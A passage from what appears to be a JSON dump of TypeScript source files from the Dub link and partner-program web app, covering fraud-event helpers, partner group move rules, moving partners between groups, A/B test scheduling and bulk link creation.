const eventMetadata = metadata as Record<string, string>;\n\n  switch (type) {\n    case \"customerEmailMatch\":\n    case \"customerEmailSuspiciousDomain\":\n    case \"referralSourceBanned\":\n    case \"paidTrafficDetected\":\n      if (!customerId) {\n        throw new Error(`customerId is required for ${type} fraud rule.`);\n      }\n\n      return {\n        customerId,\n      };\n\n    case \"partnerDuplicatePayoutMethod\":\n      return {\n        duplicatePartnerId: eventMetadata?.duplicatePartnerId,\n      };\n\n    case \"partnerCrossProgramBan\":\n      if (!sourceProgramId) {\n        throw new Error(`sourceProgramId is required for ${type} fraud rule.`);\n      }\n\n      return {\n        sourceProgramId,\n      };\n\n    case \"partnerFraudReport\":\n      return {};\n  }\n}\n\n// Sanitize metadata by removing fields that are stored separately or shouldn't be persisted\nexport function sanitizeFraudEventMetadata(\n  metadata: Record<string, unknown> | undefined,\n) {\n  if (!metadata) {\n    return undefined;\n  }\n\n  const sanitized = metadata as Record<string, any>;\n\n  delete sanitized.duplicatePartnerId;\n  delete sanitized.payoutMethodHash;\n  delete sanitized.cryptoWalletAddress;\n\n  return Object.keys(sanitized).length > 0 ? sanitized : undefined;\n}\n\n// Creates a composite key to uniquely identify fraud event groups\nexport function createGroupCompositeKey(\n  event: Pick<CreateFraudEventInput, \"programId\" | \"partnerId\" | \"type\">,\n) {\n  return `${event.programId}:${event.partnerId}:${event.type}`;\n}\n\n// Determine the correct partnerId for a fraud event.\n// For duplicate payout method events, uses the duplicatePartnerId from metadata.\nexport function getPartnerIdForFraudEvent(\n  event: Pick<CreateFraudEventInput, \"partnerId\" | \"type\" | \"metadata\">,\n) {\n  const metadata = event.metadata as Record<string, string> | undefined;\n\n  if (event.type === \"partnerDuplicatePayoutMethod\") {\n    return metadata?.duplicatePartnerId ?? event.partnerId;\n  }\n\n  return event.partnerId;\n}\n"
  },
  {
    "path": "apps/web/lib/api/get-ratelimit-for-plan.ts",
    "content": "import { FREE_PLAN, PLANS } from \"@dub/utils\";\n\nexport const getRatelimitForPlan = (plan: string) => {\n  const currentPlanName = plan.toLowerCase().split(\" \")[0]; // to account for old Business plans (e.g. \"Business Plus\")\n  return (\n    PLANS.find((p) => p.name.toLowerCase() === currentPlanName) || FREE_PLAN\n  );\n};\n"
  },
  {
    "path": "apps/web/lib/api/get-workspace-users.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { WorkspaceRole } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { notificationTypes } from \"../zod/schemas/workspaces\";\n\ntype GetWorkspaceUsersParams =\n  | {\n      workspaceId: string;\n      programId?: never;\n      role: WorkspaceRole | WorkspaceRole[];\n      notificationPreference?: z.infer<typeof notificationTypes>;\n    }\n  | {\n      programId: string;\n      workspaceId?: never;\n      role: WorkspaceRole | WorkspaceRole[];\n      notificationPreference?: z.infer<typeof notificationTypes>;\n    };\n\nexport async function getWorkspaceUsers({\n  workspaceId,\n  programId,\n  role,\n  notificationPreference,\n}: GetWorkspaceUsersParams) {\n  if (!workspaceId && !programId) {\n    throw new Error(\"Either workspaceId or programId must be provided.\");\n  }\n\n  const workspace = await prisma.project.findUnique({\n    where: {\n      ...(workspaceId\n        ? {\n            id: workspaceId,\n          }\n        : {\n            defaultProgramId: programId,\n          }),\n    },\n    select: {\n      id: true,\n      slug: true,\n      name: true,\n      programs: {\n        select: {\n          name: true,\n          slug: true,\n          supportEmail: true,\n        },\n      },\n      users: {\n        where: {\n          role: Array.isArray(role)\n            ? {\n                in: role,\n              }\n            : role,\n          ...(notificationPreference && {\n            notificationPreference: {\n              [notificationPreference]: true,\n            },\n          }),\n        },\n        select: {\n          user: {\n            select: {\n              id: true,\n              name: true,\n              email: true,\n            },\n          },\n        },\n      },\n    },\n  });\n\n  if (!workspace) {\n    throw new Error(`Workspace ${workspaceId} not found.`);\n  }\n\n  const program = workspace.programs.length > 0 ? workspace.programs[0] : null;\n\n  return {\n    id: workspace.id,\n    slug: workspace.slug,\n    name: workspace.name,\n    program,\n    users: workspace.users\n      .map(({ user }) => user)\n      .filter((user) => user.email)\n      .map((user) => ({\n        id: user.id,\n        name: user.name,\n        email: user.email!,\n      })),\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/api/groups/find-groups-with-matching-rules.ts",
    "content": "import { WorkflowCondition } from \"@/lib/types\";\nimport { groupRulesSchema } from \"@/lib/zod/schemas/groups\";\nimport * as z from \"zod/v4\";\n\nexport const findGroupsWithMatchingRules = ({\n  groups,\n  currentRules,\n  currentGroupId,\n}: {\n  groups: z.infer<typeof groupRulesSchema>;\n  currentRules: WorkflowCondition[] | null | undefined;\n  currentGroupId: string;\n}): Array<{ id: string; name: string }> => {\n  if (\n    !currentRules ||\n    currentRules.length === 0 ||\n    !groups ||\n    groups.length === 0\n  ) {\n    return [];\n  }\n\n  return groups\n    .filter(\n      (group) =>\n        group.id !== currentGroupId &&\n        group.moveRules &&\n        group.moveRules.length > 0 &&\n        doRuleSetsOverlap(currentRules, group.moveRules),\n    )\n    .map((group) => ({ id: group.id, name: group.name }));\n};\n\n// Two rule sets conflict if there exists ANY set of attribute values that would satisfy both simultaneously.\n// This ensures that for any given set of attribute values, at most one group rule set will match.\nconst doRuleSetsOverlap = (\n  rules1: WorkflowCondition[],\n  rules2: WorkflowCondition[],\n): boolean => {\n  const rules1ByAttribute = new Map<string, WorkflowCondition>();\n  for (const rule of rules1) {\n    rules1ByAttribute.set(rule.attribute, rule);\n  }\n\n  const rules2ByAttribute = new Map<string, WorkflowCondition>();\n  for (const rule of rules2) {\n    rules2ByAttribute.set(rule.attribute, rule);\n  }\n\n  // Get all attributes that appear in BOTH rule sets (intersection)\n  const sharedAttributes = Array.from(rules1ByAttribute.keys()).filter((attr) =>\n    rules2ByAttribute.has(attr),\n  );\n\n  // If there are no shared attributes, the rule sets cannot conflict\n  // (e.g., one checks conversions, the other checks leads - they're independent)\n  if (sharedAttributes.length === 0) {\n    return false;\n  }\n\n  // For rule sets to conflict, ALL shared attributes must overlap\n  // This means there exists a set of values that satisfies both rule sets\n  for (const attribute of sharedAttributes) {\n    const condition1 = rules1ByAttribute.get(attribute);\n    const condition2 = rules2ByAttribute.get(attribute);\n\n    if (!condition1 || !condition2) {\n      return false;\n    }\n\n    // If any shared attribute doesn't overlap, the rule sets cannot both match\n    if (!doConditionsOverlap(condition1, condition2)) {\n      return false;\n    }\n  }\n\n  return true;\n};\n\nconst conditionToInterval = (\n  condition: WorkflowCondition,\n): { min: number; max: number } | null => {\n  switch (condition.operator) {\n    case \"gte\":\n      if (typeof condition.value === \"number\") {\n        return {\n          min: condition.value,\n          max: Number.POSITIVE_INFINITY,\n        };\n      }\n      return null;\n\n    case \"between\":\n      if (typeof condition.value === \"object\" && condition.value !== null) {\n        return {\n          min: condition.value.min,\n          max: condition.value.max,\n        };\n      }\n      return null;\n\n    default:\n      return null;\n  }\n};\n\nconst doConditionsOverlap = (\n  condition1: WorkflowCondition,\n  condition2: WorkflowCondition,\n): boolean => {\n  // Conditions must be for the same attribute to overlap\n  if (condition1.attribute !== condition2.attribute) {\n    return false;\n  }\n\n  const interval1 = conditionToInterval(condition1);\n  const interval2 = conditionToInterval(condition2);\n\n  if (!interval1 || !interval2) {\n    return false;\n  }\n\n  return interval1.min <= interval2.max && interval2.min <= interval1.max;\n};\n"
  },
  {
    "path": "apps/web/lib/api/groups/get-group-move-rules.ts",
    "content": "import { groupRulesSchema } from \"@/lib/zod/schemas/groups\";\nimport { prisma } from \"@dub/prisma\";\n\nexport const getGroupMoveRules = async (programId: string) => {\n  const groups = await prisma.partnerGroup.findMany({\n    where: { programId },\n    select: {\n      id: true,\n      name: true,\n      workflow: {\n        select: {\n          triggerConditions: true,\n        },\n      },\n    },\n  });\n\n  const results = groups.map((group) => ({\n    id: group.id,\n    name: group.name,\n    moveRules: group.workflow?.triggerConditions ?? [],\n  }));\n\n  return groupRulesSchema.parse(results);\n};\n"
  },
  {
    "path": "apps/web/lib/api/groups/get-group-or-throw.ts",
    "content": "import { getGroupBountySummaries } from \"@/lib/bounty/api/get-group-bounty-summaries\";\nimport { prisma } from \"@dub/prisma\";\nimport { DubApiError } from \"../errors\";\n\nexport const getGroupOrThrow = async ({\n  programId,\n  groupId,\n  includeExpandedFields = false,\n  includeBounties = false,\n}: {\n  programId: string;\n  groupId: string;\n  includeExpandedFields?: boolean;\n  includeBounties?: boolean;\n}) => {\n  const group = await prisma.partnerGroup.findUnique({\n    where: {\n      ...(groupId.startsWith(\"grp_\")\n        ? {\n            id: groupId,\n          }\n        : {\n            programId_slug: {\n              programId,\n              slug: groupId,\n            },\n          }),\n    },\n    include: {\n      clickReward: includeExpandedFields,\n      leadReward: includeExpandedFields,\n      saleReward: includeExpandedFields,\n      discount: includeExpandedFields,\n      utmTemplate: includeExpandedFields,\n      partnerGroupDefaultLinks: includeExpandedFields,\n      program: includeExpandedFields,\n      workflow: includeExpandedFields,\n    },\n  });\n\n  if (!group) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: `Group with ID ${groupId} not found.`,\n    });\n  }\n\n  if (group.programId !== programId) {\n    throw new DubApiError({\n      code: \"forbidden\",\n      message: `Group with ID ${groupId} not found in your program.`,\n    });\n  }\n\n  return {\n    ...group,\n    ...(includeBounties && {\n      bounties: await getGroupBountySummaries({\n        programId,\n        groupId: group.id,\n      }),\n    }),\n    moveRules: group.workflow?.triggerConditions,\n  };\n};\n"
  },
  {
    "path": "apps/web/lib/api/groups/get-groups.ts",
    "content": "import { getGroupsQuerySchema } from \"@/lib/zod/schemas/groups\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\n\ntype GroupFilters = z.infer<typeof getGroupsQuerySchema> & {\n  programId: string;\n};\n\nexport async function getGroups(filters: GroupFilters) {\n  const {\n    search,\n    groupIds,\n    page = 1,\n    pageSize,\n    sortBy,\n    sortOrder,\n    programId,\n    includeExpandedFields,\n  } = filters;\n\n  const groups = (await prisma.$queryRaw(Prisma.sql`\n    SELECT\n      pg.id,\n      pg.programId,\n      pg.name,\n      pg.slug,\n      pg.color,\n      pg.clickRewardId,\n      pg.leadRewardId,\n      pg.saleRewardId,\n      pg.discountId,\n      pg.additionalLinks,\n      pg.maxPartnerLinks,\n      pg.linkStructure,\n      pg.applicationFormData,\n      pg.applicationFormPublishedAt,\n      pg.landerData,\n      pg.landerPublishedAt,\n      pg.logo,\n      pg.wordmark,\n      pg.brandColor,\n      pg.holdingPeriodDays,\n      pg.autoApprovePartnersEnabledAt,\n      pg.utmTemplateId,\n      pg.createdAt,\n      pg.updatedAt,\n      ${\n        includeExpandedFields\n          ? Prisma.sql`\n        COUNT(DISTINCT pe.partnerId) as totalPartners,\n        COALESCE(SUM(pe.totalClicks), 0) as totalClicks,\n        COALESCE(SUM(pe.totalLeads), 0) as totalLeads,\n        COALESCE(SUM(pe.totalSales), 0) as totalSales,\n        COALESCE(SUM(pe.totalSaleAmount), 0) as totalSaleAmount,\n        COALESCE(SUM(pe.totalConversions), 0) as totalConversions,\n        COALESCE(SUM(pe.totalCommissions), 0) as totalCommissions,\n        COALESCE(SUM(pe.totalSaleAmount), 0) - COALESCE(SUM(pe.totalCommissions), 0) as netRevenue\n        `\n          : Prisma.sql`\n        0 as totalPartners,\n        0 as totalClicks,\n        0 as totalLeads,\n        0 as totalSales,\n        0 as totalSaleAmount,\n        0 as totalConversions,\n        0 as totalCommissions,\n        0 as netRevenue\n        `\n      }\n    FROM PartnerGroup pg\n    ${includeExpandedFields ? Prisma.sql`LEFT JOIN ProgramEnrollment pe ON pe.groupId = pg.id AND pe.status = 'approved'` : Prisma.sql``}\n    WHERE pg.programId = ${programId}\n    ${search ? Prisma.sql`AND (pg.name LIKE ${`%${search}%`} OR pg.slug LIKE ${`%${search}%`})` : Prisma.sql``}\n    ${groupIds && groupIds.length > 0 ? Prisma.sql`AND pg.id IN (${Prisma.join(groupIds)})` : Prisma.sql``}\n    GROUP BY pg.id\n    ORDER BY ${Prisma.raw(sortBy === \"createdAt\" ? \"pg.createdAt\" : sortBy)} ${Prisma.raw(sortOrder)}\n    LIMIT ${pageSize} OFFSET ${(page - 1) * pageSize}\n  `)) satisfies Array<any>;\n\n  return groups.map((group) => ({\n    ...group,\n    totalPartners: Number(group.totalPartners),\n    totalClicks: Number(group.totalClicks),\n    totalLeads: Number(group.totalLeads),\n    totalSales: Number(group.totalSales),\n    totalSaleAmount: Number(group.totalSaleAmount),\n    totalConversions: Number(group.totalConversions),\n    totalCommissions: Number(group.totalCommissions),\n    netRevenue: Number(group.netRevenue),\n  }));\n}\n"
  },
  {
    "path": "apps/web/lib/api/groups/move-partners-to-group.ts",
    "content": "import { triggerDraftBountySubmissionCreation } from \"@/lib/bounty/api/trigger-draft-bounty-submissions\";\nimport { qstash } from \"@/lib/cron\";\nimport { recordLink } from \"@/lib/tinybird\";\nimport { prisma } from \"@dub/prisma\";\nimport { PartnerGroup, WorkspaceRole } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { buildProgramEnrollmentChangeSet } from \"../activity-log/build-program-enrollment-change-set\";\nimport {\n  trackActivityLog,\n  TrackActivityLogInput,\n} from \"../activity-log/track-activity-log\";\nimport { getWorkspaceUsers } from \"../get-workspace-users\";\nimport { includeProgramEnrollment } from \"../links/include-program-enrollment\";\nimport { includeTags } from \"../links/include-tags\";\nimport { notifyPartnerGroupChange } from \"../partners/notify-partner-group-change\";\n\ninterface MovePartnersToGroupParams {\n  workspaceId: string;\n  programId: string;\n  partnerIds: string[];\n  userId: string | null;\n  group: Pick<\n    PartnerGroup,\n    | \"id\"\n    | \"name\"\n    | \"clickRewardId\"\n    | \"leadRewardId\"\n    | \"saleRewardId\"\n    | \"discountId\"\n  >;\n  isGroupDeleted?: boolean;\n  groupMoveDisabledAt?: Date | null;\n}\n\nexport async function movePartnersToGroup({\n  workspaceId,\n  programId,\n  partnerIds,\n  userId,\n  group,\n  isGroupDeleted = false,\n  groupMoveDisabledAt,\n}: MovePartnersToGroupParams): Promise<number> {\n  if (partnerIds.length === 0) {\n    return 0;\n  }\n\n  const programEnrollments = await prisma.programEnrollment.findMany({\n    where: {\n      partnerId: {\n        in: partnerIds,\n      },\n      programId,\n    },\n    select: {\n      id: true,\n      partnerId: true,\n      partnerGroup: {\n        select: {\n          id: true,\n          name: true,\n        },\n      },\n    },\n  });\n\n  if (programEnrollments.length === 0) {\n    return 0;\n  }\n\n  partnerIds = programEnrollments.map(({ partnerId }) => partnerId);\n\n  const { count } = await prisma.programEnrollment.updateMany({\n    where: {\n      partnerId: {\n        in: partnerIds,\n      },\n      programId,\n    },\n    data: {\n      groupId: group.id,\n      clickRewardId: group.clickRewardId,\n      leadRewardId: group.leadRewardId,\n      saleRewardId: group.saleRewardId,\n      discountId: group.discountId,\n      ...(groupMoveDisabledAt !== undefined && { groupMoveDisabledAt }),\n    },\n  });\n\n  if (count === 0) {\n    return 0;\n  }\n\n  waitUntil(\n    (async () => {\n      const partnerLinks = await prisma.link.findMany({\n        where: {\n          programId,\n          partnerId: {\n            in: partnerIds,\n          },\n        },\n        include: {\n          ...includeTags,\n          ...includeProgramEnrollment,\n        },\n      });\n\n      const updatedProgramEnrollments = await prisma.programEnrollment.findMany(\n        {\n          where: {\n            partnerId: {\n              in: partnerIds,\n            },\n            programId,\n          },\n          select: {\n            id: true,\n            partnerId: true,\n            partnerGroup: {\n              select: {\n                id: true,\n                name: true,\n              },\n            },\n          },\n        },\n      );\n\n      // Build activity log inputs\n      const activityLogInputs: TrackActivityLogInput[] =\n        updatedProgramEnrollments.map((updatedEnrollment) => {\n          const oldEnrollment = programEnrollments.find(\n            (e) => e.id === updatedEnrollment.id,\n          );\n\n          return {\n            workspaceId,\n            programId,\n            resourceType: \"partner\",\n            resourceId: updatedEnrollment.partnerId,\n            userId,\n            action: \"partner.groupChanged\",\n            changeSet: buildProgramEnrollmentChangeSet({\n              oldEnrollment,\n              newEnrollment: updatedEnrollment,\n            }),\n          };\n        });\n\n      // If the userId is not provided, get the workspace user id from the workspace users\n      // userId will be null for workflow-initiated actions\n      let workspaceUserId = userId;\n\n      if (!workspaceUserId) {\n        const { users } = await getWorkspaceUsers({\n          programId,\n          role: WorkspaceRole.owner,\n        });\n\n        if (users.length > 0) {\n          workspaceUserId = users[0].id;\n        }\n      }\n\n      await Promise.allSettled([\n        qstash.publishJSON({\n          url: `${APP_DOMAIN_WITH_NGROK}/api/cron/groups/remap-default-links`,\n          body: {\n            programId,\n            groupId: group.id,\n            partnerIds,\n            userId: workspaceUserId,\n            isGroupDeleted,\n          },\n        }),\n\n        triggerDraftBountySubmissionCreation({\n          programId,\n          partnerIds,\n        }),\n\n        recordLink(partnerLinks),\n\n        notifyPartnerGroupChange({\n          programId,\n          groupId: group.id,\n          partnerIds,\n        }),\n\n        trackActivityLog(activityLogInputs),\n      ]);\n    })(),\n  );\n\n  return count;\n}\n"
  },
  {
    "path": "apps/web/lib/api/groups/throw-if-invalid-group-ids.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { PartnerGroup } from \"@dub/prisma/client\";\nimport { DubApiError } from \"../errors\";\n\nexport async function throwIfInvalidGroupIds({\n  programId,\n  groupIds,\n}: {\n  programId: string;\n  groupIds: string[] | null | undefined;\n}) {\n  let partnerGroups: PartnerGroup[] = [];\n\n  if (groupIds && groupIds.length) {\n    partnerGroups = await prisma.partnerGroup.findMany({\n      where: {\n        programId,\n        id: {\n          in: groupIds,\n        },\n      },\n    });\n\n    const invalidGroupIds = groupIds?.filter(\n      (groupId) => !partnerGroups?.some((group) => group.id === groupId),\n    );\n\n    if (invalidGroupIds?.length) {\n      throw new DubApiError({\n        message: `Invalid group IDs detected: ${invalidGroupIds.join(\", \")}`,\n        code: \"bad_request\",\n      });\n    }\n  }\n\n  return partnerGroups;\n}\n"
  },
  {
    "path": "apps/web/lib/api/groups/upsert-group-move-rules.ts",
    "content": "import { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { WorkflowAction, WorkflowCondition, WorkspaceProps } from \"@/lib/types\";\nimport { WORKFLOW_ACTION_TYPES } from \"@/lib/zod/schemas/workflows\";\nimport { prisma } from \"@dub/prisma\";\nimport { PartnerGroup, WorkflowTrigger } from \"@dub/prisma/client\";\nimport { pluralize } from \"@dub/utils\";\nimport { createId } from \"../create-id\";\nimport { DubApiError } from \"../errors\";\nimport { findGroupsWithMatchingRules } from \"./find-groups-with-matching-rules\";\nimport { getGroupMoveRules } from \"./get-group-move-rules\";\n\nexport async function upsertGroupMoveRules({\n  workspace,\n  group,\n  moveRules,\n}: {\n  workspace: Pick<WorkspaceProps, \"plan\" | \"defaultProgramId\">;\n  group: PartnerGroup;\n  moveRules?: WorkflowCondition[];\n}): Promise<{ workflowId: string | null | undefined }> {\n  const { canUseGroupMoveRule } = getPlanCapabilities(workspace.plan);\n\n  if (moveRules && !canUseGroupMoveRule) {\n    throw new DubApiError({\n      code: \"forbidden\",\n      message:\n        \"Group move rules are only available on the Advanced plan and above.\",\n    });\n  }\n\n  if (moveRules?.length === 0 && group.workflowId) {\n    await prisma.workflow.delete({\n      where: {\n        id: group.workflowId,\n      },\n    });\n\n    return {\n      workflowId: null,\n    };\n  }\n\n  // Do nothing if no move rule is provided\n  if (!moveRules) {\n    return {\n      workflowId: undefined,\n    };\n  }\n\n  const groupsWithMatchingRules = findGroupsWithMatchingRules({\n    groups: await getGroupMoveRules(group.programId),\n    currentRules: moveRules,\n    currentGroupId: group.id,\n  });\n\n  if (groupsWithMatchingRules.length > 0) {\n    const groupNames = groupsWithMatchingRules.map((g) => g.name).join(\", \");\n\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: `This rule is already in use by the ${groupNames} ${pluralize(\"group\", groupsWithMatchingRules.length)}. Select a different activity or amount.`,\n    });\n  }\n\n  const action: WorkflowAction = {\n    type: WORKFLOW_ACTION_TYPES.MoveGroup,\n    data: {\n      groupId: group.id,\n    },\n  };\n\n  const workflowData = {\n    trigger: \"partnerMetricsUpdated\" as WorkflowTrigger,\n    triggerConditions: moveRules,\n    actions: [action],\n  };\n\n  // Create a new workflow\n  if (!group.workflowId) {\n    const workflow = await prisma.workflow.create({\n      data: {\n        id: createId({ prefix: \"wf_\" }),\n        programId: group.programId,\n        ...workflowData,\n      },\n    });\n\n    return {\n      workflowId: workflow.id,\n    };\n  }\n\n  // Update the existing workflow\n  const workflow = await prisma.workflow.update({\n    where: {\n      id: group.workflowId,\n    },\n    data: workflowData,\n  });\n\n  return {\n    workflowId: workflow.id,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/api/groups/validate-group-move-rules.ts",
    "content": "import { WorkflowCondition } from \"@/lib/types\";\n\nexport const validateGroupMoveRules = (rules?: WorkflowCondition[]) => {\n  if (!rules || rules.length === 0) {\n    return;\n  }\n\n  for (let i = 0; i < rules.length; i++) {\n    const rule = rules[i];\n\n    // Check if attribute is selected\n    if (!rule.attribute) {\n      throw new Error(`Rule ${i + 1}: Please select an activity.`);\n    }\n\n    // Check if value is set\n    if (rule.value == null || rule.value === undefined) {\n      throw new Error(`Rule ${i + 1}: Please enter a value.`);\n    }\n\n    // For gte operator, value should be a number greater than 0\n    if (rule.operator === \"gte\") {\n      if (\n        typeof rule.value !== \"number\" ||\n        isNaN(rule.value) ||\n        rule.value <= 0\n      ) {\n        throw new Error(`Rule ${i + 1}: Please enter a value greater than 0.`);\n      }\n    }\n\n    // For between operator, check min and max\n    if (rule.operator === \"between\") {\n      if (typeof rule.value !== \"object\" || rule.value === null) {\n        throw new Error(`Rule ${i + 1}: Please enter a valid value.`);\n      }\n\n      const min = rule.value.min;\n      const max = rule.value.max;\n\n      if (min == null || min === undefined || isNaN(min) || min <= 0) {\n        throw new Error(\n          `Rule ${i + 1}: Please enter a minimum value greater than 0.`,\n        );\n      }\n\n      if (max == null || max === undefined || isNaN(max) || max <= 0) {\n        throw new Error(\n          `Rule ${i + 1}: Please enter a maximum value (limit) greater than 0.`,\n        );\n      }\n\n      // Ensure max is greater than min\n      if (max <= min) {\n        throw new Error(\n          `Rule ${i + 1}: Maximum value must be greater than minimum value.`,\n        );\n      }\n    }\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/api/links/ab-test-scheduler.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { ExpandedLink } from \"./utils\";\n\n// Schedules a job to complete a link's AB test\nexport async function scheduleABTestCompletion(\n  link: Pick<ExpandedLink, \"id\" | \"testVariants\" | \"testCompletedAt\">,\n) {\n  if (!link.testVariants || !link.testCompletedAt) {\n    return;\n  }\n\n  const url = `${APP_DOMAIN_WITH_NGROK}/api/cron/links/${link.id}/complete-tests`;\n  const testCompletedAt = new Date(link.testCompletedAt);\n\n  // Tests are not complete yet, schedule a job for completion\n  if (testCompletedAt > new Date()) {\n    await qstash.publishJSON({\n      url,\n      delay: (testCompletedAt.getTime() - new Date().getTime()) / 1000,\n      deduplicationId: link.id,\n    });\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/api/links/archive-link.ts",
    "content": "import { prisma } from \"@dub/prisma\";\n\nexport async function archiveLink({\n  linkId,\n  archived,\n}: {\n  linkId: string;\n  archived: boolean;\n}) {\n  return await prisma.link.update({\n    where: {\n      id: linkId,\n    },\n    data: {\n      archived,\n    },\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/api/links/bulk-create-links.ts",
    "content": "import { ProcessedLinkProps } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { getParamsFromURL, linkConstructorSimple, truncate } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { createId } from \"../create-id\";\nimport { combineTagIds } from \"../tags/combine-tag-ids\";\nimport { encodeKeyIfCaseSensitive } from \"./case-sensitivity\";\nimport { includeProgramEnrollment } from \"./include-program-enrollment\";\nimport { includeTags } from \"./include-tags\";\nimport { propagateBulkLinkChanges } from \"./propagate-bulk-link-changes\";\nimport { updateLinksUsage } from \"./update-links-usage\";\nimport { checkIfLinksHaveTags } from \"./utils/check-if-links-have-tags\";\nimport { checkIfLinksHaveWebhooks } from \"./utils/check-if-links-have-webhooks\";\nimport { transformLink } from \"./utils/transform-link\";\n\nexport async function bulkCreateLinks({\n  links,\n  skipRedisCache = false,\n}: {\n  links: ProcessedLinkProps[];\n  skipRedisCache?: boolean;\n}) {\n  if (links.length === 0) return [];\n\n  const hasTags = checkIfLinksHaveTags(links);\n  const hasWebhooks = checkIfLinksHaveWebhooks(links);\n\n  // Create a map of shortLinks to their original indices at the start\n  const shortLinkToIndexMap = new Map(\n    links.map((link, index) => {\n      const key = encodeKeyIfCaseSensitive({\n        domain: link.domain,\n        key: link.key,\n      });\n\n      return [\n        linkConstructorSimple({\n          domain: link.domain,\n          key,\n        }),\n        index,\n      ];\n    }),\n  );\n\n  // Create all links first using createMany\n  await prisma.link.createMany({\n    data: links.map(({ tagId, tagIds, tagNames, webhookIds, ...link }) => {\n      const { utm_source, utm_medium, utm_campaign, utm_term, utm_content } =\n        getParamsFromURL(link.url);\n\n      link.key = encodeKeyIfCaseSensitive({\n        domain: link.domain,\n        key: link.key,\n      });\n\n      return {\n        ...link,\n        id: createId({ prefix: \"link_\" }),\n        shortLink: linkConstructorSimple({\n          domain: link.domain,\n          key: link.key,\n        }),\n        title: truncate(link.title, 120),\n        description: truncate(link.description, 240),\n        utm_source,\n        utm_medium,\n        utm_campaign,\n        utm_term,\n        utm_content,\n        expiresAt: link.expiresAt ? new Date(link.expiresAt) : null,\n        geo: link.geo || undefined,\n        testVariants: link.testVariants || Prisma.DbNull,\n      };\n    }),\n    skipDuplicates: true,\n  });\n\n  // Fetch the created links to get their IDs\n  let createdLinksData = await prisma.link.findMany({\n    where: {\n      shortLink: {\n        in: Array.from(shortLinkToIndexMap.keys()),\n      },\n    },\n    include: {\n      ...includeProgramEnrollment,\n    },\n  });\n\n  if (hasTags || hasWebhooks) {\n    // Create tags and webhooks in parallel if needed\n    const createRelationsPromises: Promise<any>[] = [];\n\n    if (hasTags) {\n      const linkTagsToCreate: {\n        linkId: string;\n        tagId: string;\n        createdAt: Date;\n      }[] = [];\n\n      let tagNameToIdMap: Record<string, string> = {};\n\n      if (links.some((link) => link.tagNames?.length)) {\n        const allTagNames = [\n          ...new Set(links.flatMap((link) => link.tagNames).filter(Boolean)),\n        ] as string[];\n\n        const allTagIds = await prisma.tag.findMany({\n          where: {\n            projectId: links[0].projectId!,\n            name: {\n              in: allTagNames,\n            },\n          },\n        });\n\n        tagNameToIdMap = allTagIds.reduce(\n          (acc, tag) => {\n            acc[tag.name.toLowerCase()] = tag.id;\n            return acc;\n          },\n          {} as Record<string, string>,\n        );\n      }\n\n      createdLinksData.forEach((link) => {\n        const originalIndex = shortLinkToIndexMap.get(link.shortLink);\n        if (originalIndex === undefined) return;\n\n        const originalLink = links[originalIndex];\n        if (!originalLink) return;\n\n        const { tagId, tagIds, tagNames } = originalLink;\n        const combinedTagIds = combineTagIds({ tagId, tagIds });\n\n        // Handle tag creation by IDs\n        if (combinedTagIds && combinedTagIds.length > 0) {\n          combinedTagIds.filter(Boolean).forEach((tagId, tagIdx) => {\n            linkTagsToCreate.push({\n              linkId: link.id,\n              tagId,\n              createdAt: new Date(new Date().getTime() + tagIdx * 100),\n            });\n          });\n        }\n\n        if (tagNames && tagNames.length > 0) {\n          tagNames.filter(Boolean).forEach((tagName, tagIdx) => {\n            linkTagsToCreate.push({\n              linkId: link.id,\n              tagId: tagNameToIdMap[tagName.toLowerCase()],\n              createdAt: new Date(new Date().getTime() + tagIdx * 100),\n            });\n          });\n        }\n      });\n\n      if (linkTagsToCreate.length > 0) {\n        createRelationsPromises.push(\n          prisma.linkTag.createMany({\n            data: linkTagsToCreate,\n            skipDuplicates: true,\n          }),\n        );\n      }\n    }\n\n    if (hasWebhooks) {\n      const linkWebhooksToCreate: { linkId: string; webhookId: string }[] = [];\n\n      createdLinksData.forEach((link) => {\n        const originalIndex = shortLinkToIndexMap.get(link.shortLink);\n        if (originalIndex === undefined) return;\n\n        const originalLink = links[originalIndex];\n        if (!originalLink?.webhookIds?.length) return;\n\n        originalLink.webhookIds.forEach((webhookId) => {\n          linkWebhooksToCreate.push({\n            linkId: link.id,\n            webhookId,\n          });\n        });\n      });\n\n      if (linkWebhooksToCreate.length > 0) {\n        createRelationsPromises.push(\n          prisma.linkWebhook.createMany({\n            data: linkWebhooksToCreate,\n            skipDuplicates: true,\n          }),\n        );\n      }\n    }\n\n    // Wait for all relations to be created\n    if (createRelationsPromises.length > 0) {\n      await Promise.all(createRelationsPromises);\n    }\n\n    // Refetch the links with their relations to return the complete data\n    createdLinksData = await prisma.link.findMany({\n      where: {\n        id: {\n          in: createdLinksData.map((link) => link.id),\n        },\n      },\n      include: {\n        ...includeTags,\n        ...includeProgramEnrollment,\n        webhooks: hasWebhooks\n          ? {\n              select: {\n                webhookId: true,\n              },\n            }\n          : false,\n      },\n    });\n  }\n\n  waitUntil(\n    Promise.all([\n      propagateBulkLinkChanges({\n        links: createdLinksData,\n        skipRedisCache,\n      }),\n      updateLinksUsage({\n        workspaceId: links[0].projectId!, // this will always be present\n        increment: links.length,\n      }),\n    ]),\n  );\n\n  // Simplified sorting using the map\n  createdLinksData = createdLinksData.sort((a, b) => {\n    const aIndex = shortLinkToIndexMap.get(a.shortLink) ?? -1;\n    const bIndex = shortLinkToIndexMap.get(b.shortLink) ?? -1;\n    return aIndex - bIndex;\n  });\n\n  return createdLinksData.map((link) => 